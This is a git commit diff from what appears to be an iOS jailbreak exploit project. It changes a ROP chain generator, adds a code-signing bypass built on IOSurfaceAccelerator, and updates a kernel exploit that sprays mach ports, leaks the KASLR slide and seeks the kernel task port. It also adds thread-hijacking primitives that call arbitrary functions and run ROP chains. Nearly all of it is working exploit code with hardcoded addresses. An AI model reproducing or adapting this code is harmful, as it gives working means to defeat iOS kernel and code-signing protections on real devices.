summaryrefslogtreecommitdiff
path: root/src
diff options
context:
space:
mode:
authorspv420 <unomilliono@gmail.com>2022-05-31 19:51:14 -0400
committerspv420 <unomilliono@gmail.com>2022-05-31 19:51:14 -0400
commitb040db45dfc9ef9a902e48bc2718a94cd099f505 (patch)
tree7b361fbd03f866b225473a54f837ec388f9fa4fb /src
parentfe765137cd79a671dc3e6932bb867ef333611e73 (diff)
I live in a constant state of fear and misery
Do you miss me anymore? And I don't even notice When it hurts anymore Anymore Anymore Anymore
Diffstat (limited to 'src')
-rw-r--r--src/gen/main.c4
-rw-r--r--src/gen/stage2.c15
-rw-r--r--src/js/csbypass.js69
-rwxr-xr-xsrc/js/kexp/exploit.js92
-rwxr-xr-xsrc/js/lib/myutils.js7
-rw-r--r--src/js/lib/str.js8
-rw-r--r--src/js/main.js93
-rw-r--r--src/js/primitives/call.js208
-rw-r--r--src/js/primitives/mem.js39
9 files changed, 460 insertions, 75 deletions
diff --git a/src/gen/main.c b/src/gen/main.c
index 30726d5..5ee0286 100644
--- a/src/gen/main.c
+++ b/src/gen/main.c
@@ -206,8 +206,8 @@ int main(int argc,
fprintf(stderr, "0x%x\n", RTLD_DEFAULT);
- uint32_t stack_base = 0x1c7718; // my shell setup
-// uint32_t stack_base = 0x1c772c; // my shell setup
+// uint32_t stack_base = 0x1c7718; // my shell setup
+ uint32_t stack_base = 0x1c7708; // my shell setup
// uint32_t stack_base = 0x1c7c88; // my 4s shell setup
// uint32_t stack_base = 0x1c2e48; // my lldb
// uint32_t stack_base = 0x1c7d68; // btserver env
diff --git a/src/gen/stage2.c b/src/gen/stage2.c
index 8b98a7e..7e611c8 100644
--- a/src/gen/stage2.c
+++ b/src/gen/stage2.c
@@ -313,12 +313,17 @@ rop_chain_shit gen_rop_chain(uint32_t base,
uint32_t JSGlobalContextCreateInGroup = get_dyld_shc_sym_addr_jsc("JSGlobalContextCreateInGroup");
uint32_t JSContextGetGlobalObject = get_dyld_shc_sym_addr_jsc("JSContextGetGlobalObject");
uint32_t JSStringCreateWithUTF8CString = get_dyld_shc_sym_addr_jsc("JSStringCreateWithUTF8CString");
+ uint32_t JSObjectGetProperty = get_dyld_shc_sym_addr_jsc("JSObjectGetProperty");
uint32_t JSEvaluateScript = get_dyld_shc_sym_addr_jsc("JSEvaluateScript");
uint32_t dlsym_ = get_dyld_shc_sym_addr("dlsym");
MOV_R0(dlsym_);
STR_R0(base + reserve_addr + 24);
+ fprintf(stderr, "var JSStringCreateWithUTF8CString = 0x%08x;\n"
+ "var JSObjectGetProperty = 0x%08x;\n"
+ "var JSContextGetGlobalObject = 0x%08x;\n", JSStringCreateWithUTF8CString, JSObjectGetProperty, JSContextGetGlobalObject);
+
// uint32_t settimeofday = get_dyld_shc_sym_addr("settimeofday");
fprintf(stderr, "0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x\n", JSContextGroupCreate, JSGlobalContextCreateInGroup, JSContextGetGlobalObject, JSStringCreateWithUTF8CString, JSEvaluateScript, dlsym_);
@@ -356,11 +361,11 @@ rop_chain_shit gen_rop_chain(uint32_t base,
MOV_R0(0x108000);
CALL_SLID(JSStringCreateWithUTF8CString);
- STR_R0(base + reserve_addr + 0x48);
+ STR_R0(base + reserve_addr + 0x4a);
PRINT_STILL_HERE();
- DEREF_IN_R0(base + reserve_addr + 0x48);
+ DEREF_IN_R0(base + reserve_addr + 0x4a);
MOV_R1_R0();
- CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x48);
+ CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x4a);
MOV_R1_R0();
PRINT_STILL_HERE();
@@ -378,13 +383,13 @@ rop_chain_shit gen_rop_chain(uint32_t base,
MOV_R0(0x10a000);
CALL_SLID(JSStringCreateWithUTF8CString);
- STR_R0(base + reserve_addr + 0x48);
+ STR_R0(base + reserve_addr + 0x4a);
PRINT_STILL_HERE();
/*
DEREF_IN_R0(base + reserve_addr + 0x48);
MOV_R1_R0();
*/
- CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x48);
+ CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x4a);
MOV_R1_R0();
PRINT_STILL_HERE();
diff --git a/src/js/csbypass.js b/src/js/csbypass.js
new file mode 100644
index 0000000..e91dac3
--- /dev/null
+++ b/src/js/csbypass.js
@@ -0,0 +1,69 @@
+var RTLD_NOW = 2;
+var PAGE_SIZE = 0x1000;
+
+var CFDictionaryCreateMutable_addr = 0x20809ae1;
+var kCFTypeDictionaryKeyCallBacks_addr = 0x343c79cc;
+var kCFTypeDictionaryValueCallBacks_addr = 0x343c79fc;
+var CFDictionarySetValue_addr = 0x2080a791;
+var CFNumberCreate_addr = 0x2080bc79;
+var kCFNumberSInt32Type = 3;
+
+function csbypass() {
+ printf("hello from csbypass!\n");
+ poc();
+}
+
+function memcpy_exec(dst, src, size) {
+ var dict = NULL;
+ var accel = malloc(4);
+ var width = malloc(4);
+ var height = malloc(4);
+ var pitch = malloc(4);
+ var pixel_format = malloc(4);
+ write_u32(width, PAGE_SIZE / (16 * 4));
+ write_u32(height, 16);
+ write_u32(pitch, read_u32(width) * 4);
+ write_u32(pixel_format, 0x42475241); // ARGB
+ dict = callnarg(CFDictionaryCreateMutable_addr + get_dyld_shc_slide(), 0, 0, kCFTypeDictionaryKeyCallBacks_addr, kCFTypeDictionaryValueCallBacks_addr);
+ printf("dict: %p\n", dict);
+ callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfaceBytesPerRow), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, pitch));
+ callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfaceWidth), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, width));
+ callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfaceHeight), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, height));
+ callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfacePixelFormat), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, pixel_format));
+ printf("fuck you\n");
+ printf("%d\n", callnarg(my_IOSurfaceAcceleratorCreate, 0, 0, accel));
+}
+
+function linkIOSurface() {
+ h = dlopen("/System/Library/PrivateFrameworks/IOSurface.framework/IOSurface", RTLD_NOW);
+
+ my_kIOSurfaceBytesPerRow = dlsym(h, "kIOSurfaceBytesPerRow");
+ my_kIOSurfaceWidth = dlsym(h, "kIOSurfaceWidth");
+ my_kIOSurfaceHeight = dlsym(h, "kIOSurfaceHeight");
+ my_kIOSurfacePixelFormat = dlsym(h, "kIOSurfacePixelFormat");
+
+ scall("printf", "%x %x %x %x\n", my_kIOSurfaceBytesPerRow, my_kIOSurfaceWidth, my_kIOSurfaceHeight, my_kIOSurfacePixelFormat);
+
+ my_IOSurfaceAcceleratorCreate = dlsym(h, "IOSurfaceAcceleratorCreate");
+ my_IOSurfaceCreate = dlsym(h, "IOSurfaceCreate");
+ my_IOSurfaceAcceleratorTransferSurface = dlsym(h, "IOSurfaceAcceleratorTransferSurface");
+}
+
+function poc() {
+ linkIOSurface();
+
+ var tmp = malloc(0x4000);
+ var start = [0x4F, 0xF0, 0x82, 0x40, 0x00, 0x47];
+
+ for (var i = 0; i < start.length; i++) {
+ write_u8(tmp + i, start[i]);
+ }
+
+ var finish = 0x10000;
+
+ memcpy_exec(finish. tmp, 0x1000);
+
+ scall("printf", "%x %x %x %x %x %x %x %x %x %x %x %x %x\n", h, my_kIOSurfaceBytesPerRow, my_kIOSurfaceWidth, my_kIOSurfaceHeight, my_kIOSurfacePixelFormat, my_IOSurfaceAcceleratorCreate, my_IOSurfaceCreate, my_IOSurfaceAcceleratorTransferSurface, 0x41414141);
+
+// var finish =
+} \ No newline at end of file
diff --git a/src/js/kexp/exploit.js b/src/js/kexp/exploit.js
index 544a876..c667dd2 100755
--- a/src/js/kexp/exploit.js
+++ b/src/js/kexp/exploit.js
@@ -105,24 +105,28 @@ function copyinPort(kport, cnt) {
var data = malloc(4);
var master = malloc(4);
fakeportData = malloc(4);
+ var host_self = mach_host_self();
host_get_io_master(mach_host_self(), master);
ret = spray_data(NULL, 0, 5, data);
printf("sprayed, still here\n");
printf("spray_data=%d (%s)\n", ret, mach_error_string(ret));
printf("sprayed, still here\n");
+// printf("%x %x\n", master, read_u32(master));
service = IOServiceGetMatchingService(read_u32(master), IOServiceMatching("AppleMobileFileIntegrity"));
printf("service=%x\n", service);
var tst = sptr("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
+ printf("%x\n", tst);
var kpbuf = tst + 4;
for (var i = 0; i < cnt; i++) {
write_buf(kpbuf + (i * kport_size), read_buf(kport + (i * kport_size), kport_size), kport_size);
}
var err = malloc(4);
- var xml = sptr("<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>");
- ret = io_service_open_extended(service, self, 0, 0, 1, xml, strlen(xml) + 1, err, client);
+ var xmls = "<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>";
+ var xml = sptr(xmls);
+ ret = io_service_open_extended(service, self, 0, 0, 1, xml, xmls.length + 1, err, client);
printf("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret));
if (ret == KERN_SUCCESS) {
ret = read_u32(err);
@@ -132,7 +136,6 @@ function copyinPort(kport, cnt) {
var found = false;
var o = IOIteratorNext(read_u32(it));
- printf("%x\n", o);
while (o != MACH_PORT_NULL && !found) {
var buf = malloc(16 * 4);
@@ -141,13 +144,8 @@ function copyinPort(kport, cnt) {
ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", buf, size);
printf("%d %s\n", ret, mach_error_string(ret));
if (ret == KERN_SUCCESS) {
- printf("yolo\n");
-// mach_port_deallocate(self, read_u32(data));
-// write_u32(data, MACH_PORT_NULL);
spray_data(tst, strlen(tst) + 1, 10, fakeportData);
- printf("still still alive?\n");
kslide = (((read_u32(buf + (9 << 2)) & 0xFFF00000) + 0x1000) -0x80001000) >>> 0;
- printf("still alive? %x\n", 420);
printf("YOLO YOLO YOLO kaslr_slide=%s\n", kslide.toString(16));
found = true;
return ((read_u32(buf + (4 << 2)) - 0x78)) >>> 0;
@@ -202,7 +200,10 @@ function spray_ports(number_port_descs) {
mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, mp);
mach_port_insert_right(task_self, read_u32(mp), read_u32(mp), MACH_MSG_TYPE_MAKE_SEND);
- send_ports(read_u32(mp), read_u32(kp), 2, number_port_descs);
+ var ret_ = send_ports(read_u32(mp), read_u32(kp), 2, number_port_descs);
+
+// printf("%d (%s)\n", ret_, mach_error_string(ret_));
+
var ret = read_u32(mp);
free(mp);
return ret;
@@ -236,75 +237,46 @@ function send_ports(target, payload, num, number_port_descs) {
write_u32(init_port_set + (i << 2), payload);
}
- var buf = malloc(0x1c + (number_port_descs * 0xc * 8));
+ // var buf = malloc(0x1c + (number_port_descs * 0xc * 8));
- write_u32(buf + req_msgh_body_msgh_descriptor_count, number_port_descs);
+// write_u32(buf + req_msgh_body_msgh_descriptor_count, number_port_descs);
- var new_buf = new Uint32Array(3);
-// var tmp = u32_to_u8x4(init_port_set);
- new_buf[0] = (init_port_set);
- new_buf[1] = (num);
- new_buf[2] = ((19 << 24) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 16));
-
-// new_buf_.push(tmp[0]);
-// new_buf_.push(tmp[1]);
-// new_buf_.push(tmp[2]);
-// new_buf_.push(tmp[3]);
-// tmp = u32_to_u8x4(num);
-// new_buf_.push(tmp[0]);
-// new_buf_.push(tmp[1]);
-// new_buf_.push(tmp[2]);
-// new_buf_.push(tmp[3]);
-// new_buf_.push(0);
-// new_buf_.push(0);
-// new_buf_.push(MACH_MSG_OOL_PORTS_DESCRIPTOR);
-// new_buf_.push(19);
-
-// printf("%x 0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,\n", new_buf_.length, new_buf_[zz]]);
-
-// var new_buf = fast_array_mul(new_buf_, number_port_descs);
+// var buf = new Uint32Array((0x1c + (3 * number_port_descs)) / 4);
- for (var i = 0; i < number_port_descs; i++) {
- write_u32_buf(buf + req_init_port_set + (i * 0xc), new_buf, new_buf.length * 4);
- }
+ large_buf[req_msgh_body_msgh_descriptor_count / 4] = number_port_descs;
- /*
- for (var i = 0; i < number_port_descs; i++) {
- write_u32(buf + (req_init_port_set * (i + 1)) + req_init_port_set_address, init_port_set);
- write_u32(buf + (req_init_port_set * (i + 1)) + req_init_port_set_count, num);
- write_u8(buf + (req_init_port_set * (i + 1)) + 0x8, 0);
- write_u8(buf + (req_init_port_set * (i + 1)) + 0xa, 19);
- write_u8(buf + (req_init_port_set * (i + 1)) + 0xb, MACH_MSG_OOL_PORTS_DESCRIPTOR);
- }*/
+ var tmp = ((19 << 16) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 24));
- write_u32(buf + req_head_msgh_bits, 0x80001513); // MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE)
- write_u32(buf + req_head_msgh_request_port, target);
- write_u32(buf + req_head_msgh_reply_port, 0);
- write_u32(buf + req_head_msgh_id, 1337);
+ for (var i = 0; i < number_port_descs; i++) {
+ var tmp2 = (i * 3) + (req_init_port_set >>> 2);
+ large_buf[tmp2 + 0] = (init_port_set);
+ large_buf[tmp2 + 1] = (num);
+ large_buf[tmp2 + 2] = tmp;
+ }
- var ret = mach_msg(buf, 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL);
+ large_buf[req_head_msgh_bits >>> 2] = 0x80001513; // MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE)
+ large_buf[req_head_msgh_request_port >>> 2] = target;
+ large_buf[req_head_msgh_reply_port >>> 2] = 0;
+ large_buf[req_head_msgh_id >>> 2] = 1337;
- free(buf);
+// printf("%s\n", prim_hexdump(read_buf(large_buf_ptr, 0x100)));
+
+ var ret = mach_msg(large_buf_ptr, 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL);
return ret;
}
function release_port_ptrs(port) {
- printf("alive\n");
var req = malloc(0x1c + (5 * 0xc) + 0x8);
for (var i = 0; i < (0x1c + (5 * 0xc) + 0x8); i += 4) {
write_u32(req + i, 0x0);
}
printf("%s\n", hexdump(read_buf(req, 0x1c + (5 * 0xc) + 0x8), 8, 2, req, 8, "0"));
- printf("alive\n");
var ret = mach_msg(req, MACH_RCV_MSG, 0, (0x1c + (5 * 0xc) + 0x8), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
- printf("alive\n");
- // if (ret != KERN_SUCCESS) {
-// printf("mach_recv %d %s\n", ret, mach_error_string(ret));
- printf("alive\n");
- // }
+ if (ret != KERN_SUCCESS) {
+ printf("mach_recv %d %s\n", ret, mach_error_string(ret));
+ }
free(req);
- printf("alive\n");
}
function get_kernel_task() {
@@ -335,7 +307,7 @@ function get_kernel_task() {
var big_buf = malloc(MIG_MAX);
var small_buf = malloc(MIG_MAX);
-
+
var big_size = malloc(4);
var small_size = malloc(4);
diff --git a/src/js/lib/myutils.js b/src/js/lib/myutils.js
index e856624..89860f8 100755
--- a/src/js/lib/myutils.js
+++ b/src/js/lib/myutils.js
@@ -116,4 +116,9 @@ var mach_msg = scall_wrapper("mach_msg");
var mmap = scall_wrapper("mmap");
var free = scall_wrapper("free");
var mlock = scall_wrapper("mlock");
-var mprotect = scall_wrapper("mprotect"); \ No newline at end of file
+var mprotect = scall_wrapper("mprotect");
+var dlopen = scall_wrapper("dlopen");
+var dlsym = scall_wrapper("dlsym");
+var CFDictionaryCreateMutable = scall_wrapper("CFDictionaryCreateMutable");
+var CFDictionarySetValue = scall_wrapper("CFDictionarySetValue");
+var CFNumberCreate = scall_wrapper("CFNumberCreate"); \ No newline at end of file
diff --git a/src/js/lib/str.js b/src/js/lib/str.js
index 31621bf..c95573d 100644
--- a/src/js/lib/str.js
+++ b/src/js/lib/str.js
@@ -2,7 +2,7 @@
* currently unused (iirc) garbage
* basically just prints an address than the uint32_t there, and then +4, etc
*/
-function prim_dump_u32(buf) {
+function prim_dump_u32(buf, base) {
s = "";
for (var i = 0; i < buf.length; i += 4) {
@@ -13,10 +13,10 @@ function prim_dump_u32(buf) {
tmp.push(buf[i + 2]);
tmp.push(buf[i + 3]);
- s += "0x" + pad_left((0x422200 + i).toString(16), "0", 8);
+ s += "0x" + pad_left((base + i).toString(16), "0", 8);
s += ": ";
s += "0x" + pad_left(u8x4_to_u32(tmp).toString(16), "0", 8);
- if (u8x4_to_u32(tmp) >= 0x1800000 && u8x4_to_u32(tmp) < 0x1900000) {
+/* if (u8x4_to_u32(tmp) >= 0x1800000 && u8x4_to_u32(tmp) < 0x1900000) {
s += " -> 0x" + pad_left(read_u32(u8x4_to_u32(tmp)).toString(16), "0", 8);
s += "\n";
val = read_u32(u8x4_to_u32(tmp));
@@ -24,7 +24,7 @@ function prim_dump_u32(buf) {
buf = read_buf(val, 0x100);
s += (hexdump(buf, 8, 2, val, 8, "0x"));
}
- }
+ }*/
s += "\n";
}
diff --git a/src/js/main.js b/src/js/main.js
index 7021ab1..c6ceba0 100644
--- a/src/js/main.js
+++ b/src/js/main.js
@@ -19,6 +19,8 @@ var PROT_EXEC = 0x4;
var MAP_PRIVATE = 0x2;
var MAP_ANON = 0x1000;
+var victim = {a: 13.37};
+
/*
* leftover shit from jsc_fun, used to be using `log`
*/
@@ -32,6 +34,10 @@ try {
puts = function (){};
}
+var JSStringCreateWithUTF8CString = 0x239f9d0d;
+var JSObjectGetProperty = 0x239fa411;
+var JSContextGetGlobalObject = 0x239f8dfd;
+
function main() {
/*
* get slide and calculate slid base
@@ -48,6 +54,8 @@ function main() {
init_sptr_heap();
+ scall("printf", "%x %x %x %x", 0x41, 0x42, 0x43, 0x44);
+
puts("we out here");
puts("I came through a portal holding a 40 and a blunt. Do you really wanna test me right now?");
@@ -56,9 +64,92 @@ function main() {
printf("*(uint16_t*)base = 0x%x\n", read_u16(base));
printf("*(uint32_t*)base = 0x%x\n", read_u32(base));
- var tfp0 = get_kernel_task();
+ var dyld_shc_slide = get_dyld_shc_slide();
+
+ sym_cache["JSStringCreateWithUTF8CString"] = JSStringCreateWithUTF8CString + dyld_shc_slide;
+ sym_cache["JSObjectGetProperty"] = JSObjectGetProperty + dyld_shc_slide;
+ sym_cache["JSContextGetGlobalObject"] = JSContextGetGlobalObject + dyld_shc_slide;
+
+ prep_shit();
+ large_buf[0] = 0x41424344;
+ printf("%x\n", read_u32(large_buf_ptr));
+
+ csbypass();
+
+ return;
+
+ var tfp0 = get_kernel_task();
+
printf("tfp0=%x\n", tfp0);
+
+ return;
+
+ printf("dead?\n");
+ var string_ref = scall("JSStringCreateWithUTF8CString", sptr("victim"));
+ printf("dead? %x\n", string_ref);
+ var global_object = scall("JSContextGetGlobalObject", read_u32(slid + reserve_addr + 0x44));
+ printf("dead? %x\n", global_object);
+ var jsobj_addr = scall("JSObjectGetProperty", read_u32(slid + reserve_addr + 0x44), global_object, string_ref, NULL);
+ printf("dead?\n");
+
+ printf("%x\n", jsobj_addr);
+// printf("%s\n", hexdump(read_buf(jsobj_addr - 0x100, 0x200), 8, 2, jsobj_addr - 0x100, 8, '0'));
+ victim.target = parent;
+ printf("%x\n", read_u32(jsobj_addr + 0x18));
+// printf("%s\n", prim_dump_u32(read_buf(jsobj_addr - 0x10, 0x60), jsobj_addr - 0x10));
+// printf("%s\n", hexdump(read_buf(jsobj_addr - 0x100, 0x200), 8, 2, jsobj_addr - 0x100, 8, '0'));
+
+ /*
+ UIAlertView *alert = [[UIAlertView alloc] initWithTitle:@"ROFL"
+ message:@"Dee dee doo doo."
+ delegate:self
+ cancelButtonTitle:@"OK"
+ otherButtonTitles:nil];
+ [alert show];
+ */
+
+ return;
+
+ var rop_buf = new Array();
+ var nop = (0x781a | 1) + slid;
+ var zero_arr = [].slice.call(u32_to_u8x4(0));
+ var nop_arr = [].slice.call(u32_to_u8x4(nop));
+ rop_buf.push(0);
+ rop_buf.push(0);
+ rop_buf.push(0);
+ rop_buf.push(0);
+ rop_buf.push(0);
+ rop_buf.push(0);
+ rop_buf.push(0);
+ rop_buf.push(nop);
+ for (var i = 0; i < 0x40000; i++) {
+ rop_buf.push(0);
+ rop_buf.push(0);
+ rop_buf.push(0);
+ rop_buf.push(0);
+ rop_buf.push(nop);
+ if (i % 0x1000 == 0) {
+ printf("%x\n", i);
+ }
+ }
+ rop_buf.push(0);
+ rop_buf.push(0);
+ rop_buf.push(0);
+ rop_buf.push(0);
+ rop_buf.push(0x41414141);
+
+ printf("gen'd buf\n");
+
+// printf("%s\n", rop_buf[0].toString(16));
+
+ printf("exec'ing\n");
+ exec_rop(rop_buf);
+ printf("done\n");
+
+// var tfp0 = get_kernel_task();
+
+// printf("tfp0=%x\n", tfp0);
return;
diff --git a/src/js/primitives/call.js b/src/js/primitives/call.js
index be4f254..3a2980a 100644
--- a/src/js/primitives/call.js
+++ b/src/js/primitives/call.js
@@ -31,8 +31,9 @@ var mov_r1_r0 = 0x72f76 | 1;
var mov_r0 = 0xee40 | 1;
var str_r0_r4 = 0x85474 | 1;
-var stack_shit = 0x161000;
+//var stack_shit = 0x161000;
var pthread_ret = 0;
+var stack_shit_rop = 0;
function get_dyld_shc_slide() {
/*
@@ -140,11 +141,13 @@ function symaddr(sym) {
return addy;
}
-function callnarg() {
+function callnarg_new() {
if (arguments.length < 1) {
return printf("error: tried to run callnarg without args. arguments.length=%d\n", arguments.length);
}
+ var stack_shit = 0x161000;
+
/*
* setup ptrs
*/
@@ -232,6 +235,121 @@ function callnarg() {
return read_u32(pthread_ret);
}
+function callnarg() {
+ if (arguments.length < 1) {
+ return printf("error: tried to run callnarg without args. arguments.length=%d\n", arguments.length);
+ }
+
+ /*
+ * setup ptrs
+ */
+ write_u32(countptr, count);
+ write_u32(thptr, th);
+ write_u32(threadptr, thread);
+ write_u32(thread_stateptr, thread_state);
+
+ write_u32(countptrptr, countptr);
+ write_u32(thptrptr, thptr);
+ write_u32(threadptrptr, threadptr);
+ write_u32(thread_stateptrptr, thread_stateptr);
+
+ var addy = arguments[0];
+ var dyld_shc_slide = get_dyld_shc_slide();
+
+ var stack_shit = 0x161000;
+
+ /*
+ * make __stack_chk_fail infinite loop
+ * (works by setting its lazy addy to its resolver, thus the resolver just
+ * endlessly jumps to iself)
+ */
+ write_u32(__stack_chk_fail_lazy_addy + dyld_shc_slide, __stack_chk_fail_resolver + dyld_shc_slide);
+
+ /*
+ * if the thread doesn't exist, create it.
+ */
+ if (read_u32(th) === 0) {
+ calls4arg("pthread_create", threadptr, 0, __stack_chk_fail_resolver + dyld_shc_slide, 0);
+ thread = read_u32(threadptr);
+ write_u32(th, calls4arg("pthread_mach_thread_np", thread, 0, 0, 0));
+ rth = read_u32(th);
+ }
+
+ if (rth === 0) {
+ rth = read_u32(th);
+ }
+
+// calls4arg("thread_suspend", rth, 0, 0, 0);
+
+ /*
+ * write first 4 to r0-r3, rest to stack
+ */
+ for (var i = 1; i < arguments.length; i++) {
+ if (i <= 4) {
+ write_u32(thread_state + ((i - 1) << 2), arguments[i]);
+ } else {
+ write_u32(stack_shit + ((i - 5) << 2), arguments[i]);
+ }
+ }
+
+ /*
+ * r9
+ */
+ write_u32(thread_state + (11 << 2), 0x1337);
+
+ /*
+ * stack
+ */
+ write_u32(thread_state + (13 << 2), stack_shit);
+
+ /*
+ * return address, infinite loop
+ */
+ write_u32(thread_state + (14 << 2), __stack_chk_fail_resolver + dyld_shc_slide);
+
+ /*
+ * pc
+ */
+ write_u32(thread_state + (15 << 2), addy);
+
+ /*
+ * cpsr, magic
+ */
+ if (addy & 1) {
+ write_u32(thread_state + (16 << 2), 0x40000020);
+ } else {
+ write_u32(thread_state + (16 << 2), 0x40000000);
+ }
+
+ /*
+ * set the state
+ */
+ calls4arg("thread_set_state", rth, ARM_THREAD_STATE, thread_state, ARM_THREAD_STATE_COUNT);
+ calls4arg("thread_resume", rth, 0, 0, 0);
+
+ /*
+ * spin wait for return
+ */
+ while (true) {
+ /*
+ * reset, it's used as input for thread_state size
+ */
+ write_u32(count, 17);
+ calls4arg("thread_get_state", rth, ARM_THREAD_STATE, thread_state, count);
+
+ /*
+ * if the pc is in (resolver, resolver + 8), suspend the thread
+ * (to not spin endlessly), read r0 and return
+ */
+ if (((read_u32(thread_state + (15 << 2)) == (__stack_chk_fail_resolver + dyld_shc_slide)))) {
+ calls4arg("thread_suspend", rth, 0, 0, 0);
+ return read_u32(thread_state);
+ }
+
+// calls4arg("usleep", 1000, 0, 0, 0);
+ }
+}
+
/*
* call with symbol
*/
@@ -256,6 +374,8 @@ function scall() {
sym_cache[sym] = addy;
}
+// printf("%s %x %x\n", sym, addy, sym_cache[sym]);
+
var args_to_pass = new Array();
var force_callnarg = false;
@@ -283,4 +403,88 @@ function scall() {
}
return call4arg.apply(this, args_to_pass)
}
+}
+
+function rop_init() {
+ stack_shit_rop = scall("mmap", 0, 0x1000000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);
+}
+
+function exec_rop(buf) {
+ /*
+ * setup ptrs
+ */
+ write_u32(countptr, count);
+ write_u32(thptr, th);
+ write_u32(threadptr, thread);
+ write_u32(thread_stateptr, thread_state);
+
+ write_u32(countptrptr, countptr);
+ write_u32(thptrptr, thptr);
+ write_u32(threadptrptr, threadptr);
+ write_u32(thread_stateptrptr, thread_stateptr);
+
+ var dyld_shc_slide = get_dyld_shc_slide();
+
+ /*
+ * make __stack_chk_fail infinite loop
+ * (works by setting its lazy addy to its resolver, thus the resolver just
+ * endlessly jumps to iself)
+ */
+ write_u32(__stack_chk_fail_lazy_addy + dyld_shc_slide, __stack_chk_fail_resolver + dyld_shc_slide);
+
+ if (stack_shit_rop == 0) {
+ rop_init();
+ }
+
+ calls4arg("printf", sptr("%x %x\n"), 0, stack_shit_rop, 0);
+
+ /*
+ * if the thread doesn't exist, create it.
+ */
+ calls4arg("pthread_create", threadptr, 0, __stack_chk_fail_resolver + dyld_shc_slide, 0);
+ thread = read_u32(threadptr);
+ write_u32(th, calls4arg("pthread_mach_thread_np", thread, 0, 0, 0));
+ rth = read_u32(th);
+ calls4arg("thread_suspend", rth, 0, 0, 0);
+
+ if (pthread_ret == 0) {
+ pthread_ret = malloc(4);
+ }
+
+ write_u32_buf(stack_shit_rop + 0x3c, buf, buf.length * 4);
+
+ /*
+
+ var stack_shit_ret_offset = 0x58;
+
+ write_u32(stack_shit + stack_shit_ret_offset, pthread_exit + dyld_shc_slide);
+ */
+
+ /*
+ * stack
+ */
+ write_u32(thread_state + (13 << 2), stack_shit_rop);
+
+ /*
+ * pc
+ */
+ write_u32(thread_state + (15 << 2), add_sp_0x3c + dyld_shc_slide);
+
+ /*
+ * cpsr, magic
+ */
+ write_u32(thread_state + (16 << 2), 0x40000020);
+
+ printf("actually doing it\n");
+
+ /*
+ * set the state
+ */
+ calls4arg("thread_set_state", rth, ARM_THREAD_STATE, thread_state, ARM_THREAD_STATE_COUNT);
+ calls4arg("thread_resume", rth, 0, 0, 0);
+
+ calls4arg("pthread_join", thread, pthread_ret, 0, 0);
+ write_u32(count, 17);
+ calls4arg("thread_get_state", rth, ARM_THREAD_STATE, thread_state, count);
+ return read_u32(pthread_ret);
} \ No newline at end of file
diff --git a/src/js/primitives/mem.js b/src/js/primitives/mem.js
index f6c4fe7..0cd2b7d 100644
--- a/src/js/primitives/mem.js
+++ b/src/js/primitives/mem.js
@@ -228,4 +228,43 @@ function _sptr(s) {
*/
function sptr(s) {
return _sptr(s + "\0");
+}
+
+var string_ref;
+var global_object;
